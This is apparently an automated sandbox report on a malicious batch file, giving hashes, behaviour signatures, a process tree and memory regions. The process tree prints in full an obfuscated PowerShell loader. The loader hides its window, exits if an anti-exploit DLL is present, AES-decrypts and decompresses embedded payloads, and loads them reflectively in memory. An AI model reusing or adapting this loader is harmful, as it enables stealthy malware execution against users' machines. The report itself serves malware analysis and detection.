Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240910-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240910-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/09/2024, 07:37

General

  • Target

    ww.bat

  • Size

    588KB

  • MD5

    df63b5ec4a735892084303fbf770328e

  • SHA1

    6eb0d6eda0588cd6157a8844c5daaf40b406429a

  • SHA256

    3f3aac5794c2a2b79c0e6da9eb230e4c2131b620e883ab6e9c1b69fa34087548

  • SHA512

    8fc074cb243eb431cd4d10dc63dde1208c49f2700f409d4154bbc6a7b14590050caa2262f87166599a2b6cd803eb097ddd828e2e582608d029d50db029bea1ef

  • SSDEEP

    12288:HBloXJYKzydKURaKq+gCSq1gQGNBqv+gH776JP/KIOcRoo:7YgKURcWGQH+A3+/H+o

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ww.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4244
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\ww.bat';$pZqp='InvPTptokPTpte'.Replace('PTpt', ''),'LoCiHiadCiHi'.Replace('CiHi', ''),'CrJUeseaJUesteDJUesecrJUesypJUestJUesorJUes'.Replace('JUes', ''),'TrVbHuaVbHunsVbHuforVbHumFiVbHunalVbHuBlVbHuocVbHuk'.Replace('VbHu', ''),'CMYmOoMYmOpyMYmOToMYmO'.Replace('MYmO', ''),'SpXaEblXaEbitXaEb'.Replace('XaEb', ''),'FroNpismBaNpisseNpis64NpisSNpistrNpisinNpisgNpis'.Replace('Npis', ''),'DecoOHTompoOHTroOHTeoOHTsoOHTs'.Replace('oOHT', ''),'ReaGFEGdLGFEGinGFEGesGFEG'.Replace('GFEG', ''),'ElezxgdmenzxgdtzxgdAtzxgd'.Replace('zxgd', ''),'MaTQBGiTQBGnTQBGMoTQBGdTQBGulTQBGe'.Replace('TQBG', ''),'GetwsoICuwsoIrrwsoIenwsoItPrwsoIocwsoIeswsoIswsoI'.Replace('wsoI', ''),'ChaOuTangeOuTaEOuTaxOuTateOuTansiOuTaonOuTa'.Replace('OuTa', ''),'EnEvGPtryEvGPPEvGPoiEvGPnEvGPt'.Replace('EvGP', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($pZqp[11])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function qIYuI($pXYPC){$vcJFa=[System.Security.Cryptography.Aes]::Create();$vcJFa.Mode=[System.Security.Cryptography.CipherMode]::CBC;$vcJFa.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$vcJFa.Key=[System.Convert]::($pZqp[6])('RtUoResFzoC7uLDsMNXiqz+4O1P9Lz1x2usQzNAGROg=');$vcJFa.IV=[System.Convert]::($pZqp[6])('Z+pqV7++3qGGLoy90CNOvw==');$pFlAY=$vcJFa.($pZqp[2])();$IfZXr=$pFlAY.($pZqp[3])($pXYPC,0,$pXYPC.Length);$pFlAY.Dispose();$vcJFa.Dispose();$IfZXr;}function objTo($pXYPC){$IAuUa=New-Object System.IO.MemoryStream(,$pXYPC);$jblBX=New-Object System.IO.MemoryStream;$gPOxs=New-Object System.IO.Compression.GZipStream($IAuUa,[IO.Compression.CompressionMode]::($pZqp[7]));$gPOxs.($pZqp[4])($jblBX);$gPOxs.Dispose();$IAuUa.Dispose();$jblBX.Dispose();$jblBX.ToArray();}$rPjBm=[System.IO.File]::($pZqp[8])([Console]::Title);$Kypql=objTo (qIYuI ([Convert]::($pZqp[6])([System.Linq.Enumerable]::($pZqp[9])($rPjBm, 5).Substring(2))));$hvBrU=objTo (qIYuI ([Convert]::($pZqp[6])([System.Linq.Enumerable]::($pZqp[9])($rPjBm, 6).Substring(2))));[System.Reflection.Assembly]::($pZqp[1])([byte[]]$hvBrU).($pZqp[13]).($pZqp[0])($null,$null);[System.Reflection.Assembly]::($pZqp[1])([byte[]]$Kypql).($pZqp[13]).($pZqp[0])($null,$null); "
      2⤵
        PID:1360
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3052
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1080
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3052 -s 1824
          3⤵
          • Program crash
          PID:4864
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3052 -ip 3052
      1⤵
        PID:3808

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_duq4lkg3.2q4.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1080-38-0x0000000075080000-0x0000000075830000-memory.dmp

        Filesize

        7.7MB

      • memory/1080-26-0x0000000075080000-0x0000000075830000-memory.dmp

        Filesize

        7.7MB

      • memory/1080-25-0x0000000075080000-0x0000000075830000-memory.dmp

        Filesize

        7.7MB

      • memory/1080-24-0x0000000075080000-0x0000000075830000-memory.dmp

        Filesize

        7.7MB

      • memory/3052-6-0x0000000005CF0000-0x0000000005D56000-memory.dmp

        Filesize

        408KB

      • memory/3052-4-0x0000000075080000-0x0000000075830000-memory.dmp

        Filesize

        7.7MB

      • memory/3052-7-0x0000000005ED0000-0x0000000005F36000-memory.dmp

        Filesize

        408KB

      • memory/3052-5-0x0000000005610000-0x0000000005632000-memory.dmp

        Filesize

        136KB

      • memory/3052-17-0x0000000005FC0000-0x0000000006314000-memory.dmp

        Filesize

        3.3MB

      • memory/3052-18-0x0000000006500000-0x000000000651E000-memory.dmp

        Filesize

        120KB

      • memory/3052-19-0x00000000065A0000-0x00000000065EC000-memory.dmp

        Filesize

        304KB

      • memory/3052-20-0x0000000006A40000-0x0000000006A84000-memory.dmp

        Filesize

        272KB

      • memory/3052-21-0x0000000007830000-0x00000000078A6000-memory.dmp

        Filesize

        472KB

      • memory/3052-22-0x0000000007F30000-0x00000000085AA000-memory.dmp

        Filesize

        6.5MB

      • memory/3052-23-0x0000000007810000-0x000000000782A000-memory.dmp

        Filesize

        104KB

      • memory/3052-0-0x000000007508E000-0x000000007508F000-memory.dmp

        Filesize

        4KB

      • memory/3052-2-0x0000000075080000-0x0000000075830000-memory.dmp

        Filesize

        7.7MB

      • memory/3052-3-0x00000000056C0000-0x0000000005CE8000-memory.dmp

        Filesize

        6.2MB

      • memory/3052-1-0x0000000005010000-0x0000000005046000-memory.dmp

        Filesize

        216KB

      • memory/3052-39-0x0000000005370000-0x000000000537A000-memory.dmp

        Filesize

        40KB

      • memory/3052-40-0x000000007508E000-0x000000007508F000-memory.dmp

        Filesize

        4KB

      • memory/3052-41-0x0000000075080000-0x0000000075830000-memory.dmp

        Filesize

        7.7MB

      • memory/3052-42-0x0000000007A70000-0x0000000007AE2000-memory.dmp

        Filesize

        456KB

      • memory/3052-44-0x0000000075080000-0x0000000075830000-memory.dmp

        Filesize

        7.7MB

      • memory/3052-45-0x0000000075080000-0x0000000075830000-memory.dmp

        Filesize

        7.7MB